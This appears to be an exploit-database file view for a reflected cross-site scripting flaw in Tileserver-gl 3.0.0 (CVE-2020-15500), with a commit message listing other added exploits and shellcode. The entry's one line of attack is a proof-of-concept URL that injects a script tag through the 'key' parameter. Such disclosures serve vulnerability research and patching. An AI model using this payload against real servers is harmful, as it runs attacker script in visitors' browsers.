53c15c17c6
6 changes to exploits/shellcodes glFTPd 2.11a - Remote Denial of Service Horde Groupware Webmail 5.2.22 - Stored XSS Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS) htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS) Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2)
10 lines
No EOL
384 B
Text
10 lines
No EOL
384 B
Text
# Exploit Title: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)
|
|
# Date: 15/04/2021
|
|
# Exploit Author: Akash Chathoth
|
|
# Vendor Homepage: http://tileserver.org/
|
|
# Software Link: https://github.com/maptiler/tileserver-gl
|
|
# Version: versions <3.1.0
|
|
# Tested on: 2.6.0
|
|
# CVE: 2020-15500
|
|
|
|
Exploit : http://example.com/?key="><script>alert(document.domain)</script> |